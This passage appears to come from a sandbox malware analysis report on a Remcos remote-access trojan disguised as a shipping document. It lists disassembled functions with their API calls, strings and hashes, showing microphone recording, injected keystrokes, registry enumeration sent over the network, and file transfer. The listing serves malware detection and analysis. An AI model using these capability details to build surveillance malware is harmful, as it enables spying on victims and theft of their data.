                                                                                        • Instruction Fuzzy Hash: 7031A471A04700ABD321FF65ED46F167BB8AB44305F10087EF515A6292E7B8B8448B6F
                                                                                        Function 00401D0B Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 89COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • _strftime.LIBCMT ref: 00401D50
                                                                                          • Part of subcall function 00401A6D: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                                                                                        • waveInUnprepareHeader.WINMM(00472A88,00000020,00000000,?), ref: 00401E02
                                                                                        • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401E40
                                                                                        • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401E4F
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
                                                                                        • String ID: %Y-%m-%d %H.%M$.wav$dMG$|MG
                                                                                        • API String ID: 3809562944-243156785
                                                                                        • Opcode ID: 056d7ed0179ee1e3bc41876d6f94bfa6cd5a524795bf822a31929a0c00ad1597
                                                                                        • Instruction ID: 027c37fd5a1300b84eaed5fd93cda356eabc1c7fedb6cd9f381e221a57c36ff8
                                                                                        • Opcode Fuzzy Hash: 056d7ed0179ee1e3bc41876d6f94bfa6cd5a524795bf822a31929a0c00ad1597
                                                                                        • Instruction Fuzzy Hash: 383181315043019FC324EB21DD46A9A77A8EB84314F40443EF18DA21F2EFB89A49CB5E
                                                                                        Function 00410E61 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • std::_Lockit::_Lockit.LIBCPMT ref: 00410E6E
                                                                                        • int.LIBCPMT ref: 00410E81
                                                                                          • Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
                                                                                          • Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC
                                                                                        • std::_Facet_Register.LIBCPMT ref: 00410EC1
                                                                                        • std::_Lockit::~_Lockit.LIBCPMT ref: 00410ECA
                                                                                        • __CxxThrowException@8.LIBVCRUNTIME ref: 00410EE8
                                                                                        • __Init_thread_footer.LIBCMT ref: 00410F29
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
                                                                                        • String ID: ,kG$0kG
                                                                                        • API String ID: 3815856325-2015055088
                                                                                        • Opcode ID: e119dbdcd7508405a4e8dfb13a442e59be6990f0aecb212b832b7139a16d9266
                                                                                        • Instruction ID: 12cf7b7900226bd12227407fb3b1cbab205c4dd0745ae636880afd2a72082c2f
                                                                                        • Opcode Fuzzy Hash: e119dbdcd7508405a4e8dfb13a442e59be6990f0aecb212b832b7139a16d9266
                                                                                        • Instruction Fuzzy Hash: 162134329005249BC704EB6AD9428DE37A8EF48324F20056FF804A72D1DBB9AD81CB9D
                                                                                        Function 00401BE9 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 71COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00401BF9
                                                                                        • waveInOpen.WINMM(00472AC0,000000FF,00472AA8,Function_00001D0B,00000000,00000000,00000024), ref: 00401C8F
                                                                                        • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401CE3
                                                                                        • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401CF2
                                                                                        • waveInStart.WINMM ref: 00401CFE
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
                                                                                        • String ID: dMG$|MG$PG
                                                                                        • API String ID: 1356121797-532278878
                                                                                        • Opcode ID: f0413ad6b7edbe83be065844dac3f0d77922414ea45c2d30098e63d2db50c4df
                                                                                        • Instruction ID: ba088f7df0b955e0db37e5e5e2d8d6799d5f59e9c832501e8260ac80857d70f0
                                                                                        • Opcode Fuzzy Hash: f0413ad6b7edbe83be065844dac3f0d77922414ea45c2d30098e63d2db50c4df
                                                                                        • Instruction Fuzzy Hash: 53212A71604201AFC739DF6AEE15A6A7BB6FB94715B00803FA10DD76B1DBB84881CB5C
                                                                                        Function 0041D45D Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48windowstringCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041D476
                                                                                          • Part of subcall function 0041D50F: RegisterClassExA.USER32(00000030), ref: 0041D55B
                                                                                          • Part of subcall function 0041D50F: CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 0041D576
                                                                                          • Part of subcall function 0041D50F: GetLastError.KERNEL32 ref: 0041D580
                                                                                        • ExtractIconA.SHELL32(00000000,?,00000000), ref: 0041D4AD
                                                                                        • lstrcpynA.KERNEL32(00474B60,Remcos,00000080), ref: 0041D4C7
                                                                                        • Shell_NotifyIconA.SHELL32(00000000,00474B48), ref: 0041D4DD
                                                                                        • TranslateMessage.USER32(?), ref: 0041D4E9
                                                                                        • DispatchMessageA.USER32(?), ref: 0041D4F3
                                                                                        • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0041D500
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
                                                                                        • String ID: Remcos
                                                                                        • API String ID: 1970332568-165870891
                                                                                        • Opcode ID: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                                                                                        • Instruction ID: 4ccd8a34d55b2cf311069b5b9598b364b65d9d4e2968dcdf9eb94a5ca0393a4d
                                                                                        • Opcode Fuzzy Hash: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                                                                                        • Instruction Fuzzy Hash: AC015271800245EBD7109FA5EC4CFEABB7CEB85705F004026F515930A1D778E885CB98
                                                                                        Function 0044CD80 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 5edaaaea362a6c10ef7d8e875ae5e8a922473b35402a21f9a1197ff68539a873
                                                                                        • Instruction ID: c2c0890efeac2311cc0422bbb5d66c498191acafde20d8af94b1f6b0c86a236e
                                                                                        • Opcode Fuzzy Hash: 5edaaaea362a6c10ef7d8e875ae5e8a922473b35402a21f9a1197ff68539a873
                                                                                        • Instruction Fuzzy Hash: 5AC1D770D04249AFEF11DFA9C881BAEBBB4EF09314F18415AE914A7392C77C9D41CB69
                                                                                        Function 00445179 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                                                                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                                                                        • _memcmp.LIBVCRUNTIME ref: 00445423
                                                                                        • _free.LIBCMT ref: 00445494
                                                                                        • _free.LIBCMT ref: 004454AD
                                                                                        • _free.LIBCMT ref: 004454DF
                                                                                        • _free.LIBCMT ref: 004454E8
                                                                                        • _free.LIBCMT ref: 004454F4
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: _free$ErrorLast$_abort_memcmp
                                                                                        • String ID: C
                                                                                        • API String ID: 1679612858-1037565863
                                                                                        • Opcode ID: 3b59ec677d4d175c50db296303e2411e5fb3dbfaa0361dba4d40d6cf04aba7d4
                                                                                        • Instruction ID: 551747f29a431029642ca2aca46be5bbca0cbe6c77a4b2ed9ddfbf6361621c56
                                                                                        • Opcode Fuzzy Hash: 3b59ec677d4d175c50db296303e2411e5fb3dbfaa0361dba4d40d6cf04aba7d4
                                                                                        • Instruction Fuzzy Hash: B2B13975A016199BEB24DF18C884BAEB7B4FF08308F5045EEE949A7351E774AE90CF44
                                                                                        Function 0041490A Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON
                                                                                        Download Yara Rule
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: tcp$udp
                                                                                        • API String ID: 0-3725065008
                                                                                        • Opcode ID: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
                                                                                        • Instruction ID: c6aeaafd44a905d145cb4251883953767b251f71b123717361be5a5837da4da2
                                                                                        • Opcode Fuzzy Hash: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
                                                                                        • Instruction Fuzzy Hash: 637177B06083028FDB24CF65C480BABB7E4AFD4395F15442FF88986351E778DD858B9A
                                                                                        Function 00411CFE Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 206memoryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0041179C: SetLastError.KERNEL32(0000000D,00411D1C,00000000,t^F,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 004117A2
                                                                                        • SetLastError.KERNEL32(000000C1,00000000,t^F,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 00411D37
                                                                                        • GetNativeSystemInfo.KERNEL32(?,?,00000000,t^F,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 00411DA5
                                                                                        • SetLastError.KERNEL32(0000000E), ref: 00411DC9
                                                                                          • Part of subcall function 00411CA3: VirtualAlloc.KERNEL32(00000000,00000000,00000000,00000000,00411DE7,?,00000000,00003000,00000040,00000000), ref: 00411CB3
                                                                                        • GetProcessHeap.KERNEL32(00000008,00000040), ref: 00411E10
                                                                                        • HeapAlloc.KERNEL32(00000000), ref: 00411E17
                                                                                        • SetLastError.KERNEL32(0000045A), ref: 00411F2A
                                                                                          • Part of subcall function 00412077: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F37), ref: 004120E7
                                                                                          • Part of subcall function 00412077: HeapFree.KERNEL32(00000000), ref: 004120EE
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ErrorHeapLast$AllocProcess$FreeInfoNativeSystemVirtual
                                                                                        • String ID: t^F
                                                                                        • API String ID: 3950776272-389975521
                                                                                        • Opcode ID: 461a53a6892bac39e8501077da2db8edf6161aa159888280e3eaf045f7e1ced3
                                                                                        • Instruction ID: a5564978de1508fcfe39aaa31f5973b4ee53e0220ffe5d2cf9b9f7f7cc9a58c7
                                                                                        • Opcode Fuzzy Hash: 461a53a6892bac39e8501077da2db8edf6161aa159888280e3eaf045f7e1ced3
                                                                                        • Instruction Fuzzy Hash: B661E370601201ABC7109F66C980BAB7BA5BF44744F04411BFA058B7A2E7BCE8D2CBD9
                                                                                        Function 0040186A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 142threadCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • __Init_thread_footer.LIBCMT ref: 004018BE
                                                                                        • ExitThread.KERNEL32 ref: 004018F6
                                                                                        • waveInUnprepareHeader.WINMM(?,00000020,00000000,?,00000020,00474EE0,00000000), ref: 00401A04
                                                                                          • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ExitHeaderInit_thread_footerThreadUnprepare__onexitwave
                                                                                        • String ID: PkG$XMG$NG$NG
                                                                                        • API String ID: 1649129571-3151166067
                                                                                        • Opcode ID: cdec32db15edff859d4dc3adfbb971a1a7df97296c827c92140e57336d635a83
                                                                                        • Instruction ID: 5b8630810f78da979eb204bf693be1d55f2004797ab3201abec5cd50ea38d472
                                                                                        • Opcode Fuzzy Hash: cdec32db15edff859d4dc3adfbb971a1a7df97296c827c92140e57336d635a83
                                                                                        • Instruction Fuzzy Hash: BF41B4312042109BC324FB26DD96ABE73A6AB85314F00453FF54AA61F2DF386D49C75E
                                                                                        Function 00407963 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000,00000000,00474EE0,00465FA4,?,00000000,00407FFC,00000000), ref: 004079C5
                                                                                        • WriteFile.KERNEL32(00000000,?,00000000,000186A0,00000000,?,000186A0,?,?,00000000,00407FFC,00000000,?,?,0000000A,00000000), ref: 00407A0D
                                                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                        • CloseHandle.KERNEL32(00000000,?,00000000,00407FFC,00000000,?,?,0000000A,00000000), ref: 00407A4D
                                                                                        • MoveFileW.KERNEL32(00000000,00000000), ref: 00407A6A
                                                                                        • CloseHandle.KERNEL32(00000000,00000057,?,00000008,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407A95
                                                                                        • DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407AA5
                                                                                          • Part of subcall function 00404B96: WaitForSingleObject.KERNEL32(?,000000FF,?,00474EF8,00404C49,00000000,?,?,?,00474EF8,?), ref: 00404BA5
                                                                                          • Part of subcall function 00404B96: SetEvent.KERNEL32(?), ref: 00404BC3
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
                                                                                        • String ID: .part
                                                                                        • API String ID: 1303771098-3499674018
                                                                                        • Opcode ID: 3af979d2a86f55abb037a5ea190009b8bddef8696a723389280064d929b35107
                                                                                        • Instruction ID: 3872d967715c28256f57216ae0d43a20e9ded80e7ed52efebe816600842ab993
                                                                                        • Opcode Fuzzy Hash: 3af979d2a86f55abb037a5ea190009b8bddef8696a723389280064d929b35107
                                                                                        • Instruction Fuzzy Hash: 7F318371508341AFC210EB21DC4599FB7A8FF94359F00493EB545A2192EB78EE48CB9A
                                                                                        Function 00419993 Relevance: 12.1, APIs: 8, Instructions: 102keyboardCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 004199CC
                                                                                        • SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 004199ED
                                                                                        • SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 00419A0D
                                                                                        • SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 00419A21
                                                                                        • SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 00419A37
                                                                                        • SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 00419A54
                                                                                        • SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 00419A6F
                                                                                        • SendInput.USER32(00000001,?,0000001C,?,00000000), ref: 00419A8B
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: InputSend
                                                                                        • String ID:
                                                                                        • API String ID: 3431551938-0
                                                                                        • Opcode ID: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                                                                                        • Instruction ID: babcb3f23bbfeda7ed9031f98f3524dfd9ae94bb4b0c65128b251ed995bccade
                                                                                        • Opcode Fuzzy Hash: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                                                                                        • Instruction Fuzzy Hash: CE31B471558349AEE310CF51DC41BEBBBDCEF98B54F00080FF6808A181D2A6A9C88B97
                                                                                        Function 00447571 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 389COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: __freea$__alloca_probe_16_free
                                                                                        • String ID: a/p$am/pm$zD
                                                                                        • API String ID: 2936374016-2723203690
                                                                                        • Opcode ID: ad0e661e8ca139f4988ec10911a06b569de76af7a8f23a444d27c6a0fba4a5cb
                                                                                        • Instruction ID: 9fbfa546a4d6e8c17a1525f8bb1fcc11d6b56032d3bbc67104e2604220ae0e85
                                                                                        • Opcode Fuzzy Hash: ad0e661e8ca139f4988ec10911a06b569de76af7a8f23a444d27c6a0fba4a5cb
                                                                                        • Instruction Fuzzy Hash: 6AD1D1B1918206CAFB249F68C845ABBB7B1FF05310F28415BE545AB351D33D9D43CBA9
                                                                                        Function 00413A55 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 179registryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
                                                                                        • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000104,00000000,?,?,?,?), ref: 00413AEB
                                                                                        • RegEnumValueW.ADVAPI32(?,00000000,?,00003FFF,00000000,?,?,00002710,?,?,?,?,?,?,?,?), ref: 00413B8B
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Enum$InfoQueryValue
                                                                                        • String ID: [regsplt]$xUG$TG
                                                                                        • API String ID: 3554306468-1165877943
                                                                                        • Opcode ID: e28986e9332aa07a6eea5a33b9e26ecc66a365c7f4eba0dbebaa861638ff76d3
                                                                                        • Instruction ID: b9c9d149d6e4de0395087b00820169330fa190b61d8fc59f93bff107e3475f49
                                                                                        • Opcode Fuzzy Hash: e28986e9332aa07a6eea5a33b9e26ecc66a365c7f4eba0dbebaa861638ff76d3
                                                                                        • Instruction Fuzzy Hash: E5511D72900219AADB11EB95DC85EEFB77DAF04305F10007AF505F6191EF786B48CBA9
                                                                                        Function 00456C1A Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 152COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: _free
                                                                                        • String ID: D[E$D[E
                                                                                        • API String ID: 269201875-3695742444
                                                                                        • Opcode ID: a6e07d2e332d0ea6e1aa7b7f7b4c4c7b9128dbb8fddfed026ac15973f0d55745
                                                                                        • Instruction ID: e1ec1e089ae9cf4c30c2343e7c59e1c9a5dba52e91c7d03f0b1416238821c5a9
                                                                                        • Opcode Fuzzy Hash: a6e07d2e332d0ea6e1aa7b7f7b4c4c7b9128dbb8fddfed026ac15973f0d55745
                                                                                        • Instruction Fuzzy Hash: 7A415B31A001046BEB216BBA8C4566F3BB4EF41336F96061BFC24D7293DA7C880D566D
                                                                                        Function 00413D0D Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 135registryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,00020019,?), ref: 00413D46
                                                                                          • Part of subcall function 00413A55: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
                                                                                          • Part of subcall function 00413A55: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000104,00000000,?,?,?,?), ref: 00413AEB
                                                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                        • RegCloseKey.ADVAPI32(00000000,004660A4,004660A4,00466468,00466468,00000071), ref: 00413EB4
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseEnumInfoOpenQuerysend
                                                                                        • String ID: xUG$NG$NG$TG
                                                                                        • API String ID: 3114080316-2811732169
                                                                                        • Opcode ID: c6f35c2bf26cfa5651eb61a3c71b5883c010595c96b2a316ccc479b627cc95f7
                                                                                        • Instruction ID: 865164b8d80166fcad8b4517e5ed4c9fbafb7c73de3830c3e78154838722fbed
                                                                                        • Opcode Fuzzy Hash: c6f35c2bf26cfa5651eb61a3c71b5883c010595c96b2a316ccc479b627cc95f7
                                                                                        • Instruction Fuzzy Hash: 0B419E316082405BC324F726DC56AEF72959FD1348F40883FF54A671D2EF7C5949866E
                                                                                        Function 0045112C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • MultiByteToWideChar.KERNEL32(?,00000000,000000FF,?,00000000,00000000,0043F8C8,?,00000000,?,00000001,?,000000FF,00000001,0043F8C8,?), ref: 00451179
                                                                                        • __alloca_probe_16.LIBCMT ref: 004511B1
                                                                                        • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00451202
                                                                                        • GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00451214
                                                                                        • __freea.LIBCMT ref: 0045121D
                                                                                          • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
                                                                                        • String ID: PkGNG
                                                                                        • API String ID: 313313983-263838557
                                                                                        • Opcode ID: bce85a8c1b82420839f42ccd06a1f385e5b5f24b7ce490b3fee2b1b7615d4ae7
                                                                                        • Instruction ID: 2862a929c21554b3885a63a70f5d1b49ed21d23a3953ed9914841bfcf42aa681
                                                                                        • Opcode Fuzzy Hash: bce85a8c1b82420839f42ccd06a1f385e5b5f24b7ce490b3fee2b1b7615d4ae7
                                                                                        • Instruction Fuzzy Hash: 6631D271A0020AABDF24DFA5DC41EAF7BA5EB04315F0445AAFC04D72A2E739CD55CB94
                                                                                        Function 0041B68A Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 91COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0041361B: RegOpenKeyExW.ADVAPI32(80000001,00000400,00000000,00020019,?,004750E4), ref: 0041363D
                                                                                          • Part of subcall function 0041361B: RegQueryValueExW.ADVAPI32(?,0040F313,00000000,00000000,?,00000400), ref: 0041365C
                                                                                          • Part of subcall function 0041361B: RegCloseKey.ADVAPI32(?), ref: 00413665
                                                                                          • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                                                                                        • _wcslen.LIBCMT ref: 0041B763
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseCurrentOpenProcessQueryValue_wcslen
                                                                                        • String ID: .exe$8SG$http\shell\open\command$program files (x86)\$program files\
                                                                                        • API String ID: 37874593-122982132
                                                                                        • Opcode ID: 2f5c0ff3d6ea7972f87a7f3e3c7ffac37502a487daadfbe7cd55c680b7f4a926
                                                                                        • Instruction ID: 0af867b59be632d30c611c6dccf556baefac66a2e67262e696d3f692bc65d575
                                                                                        • Opcode Fuzzy Hash: 2f5c0ff3d6ea7972f87a7f3e3c7ffac37502a487daadfbe7cd55c680b7f4a926
                                                                                        • Instruction Fuzzy Hash: 6721A472A002086BDB14BAB58CD6AFE766D9B85328F14043FF405B72C2EE7C9D494269
                                                                                        Function 0040BEE9 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 87COMMON
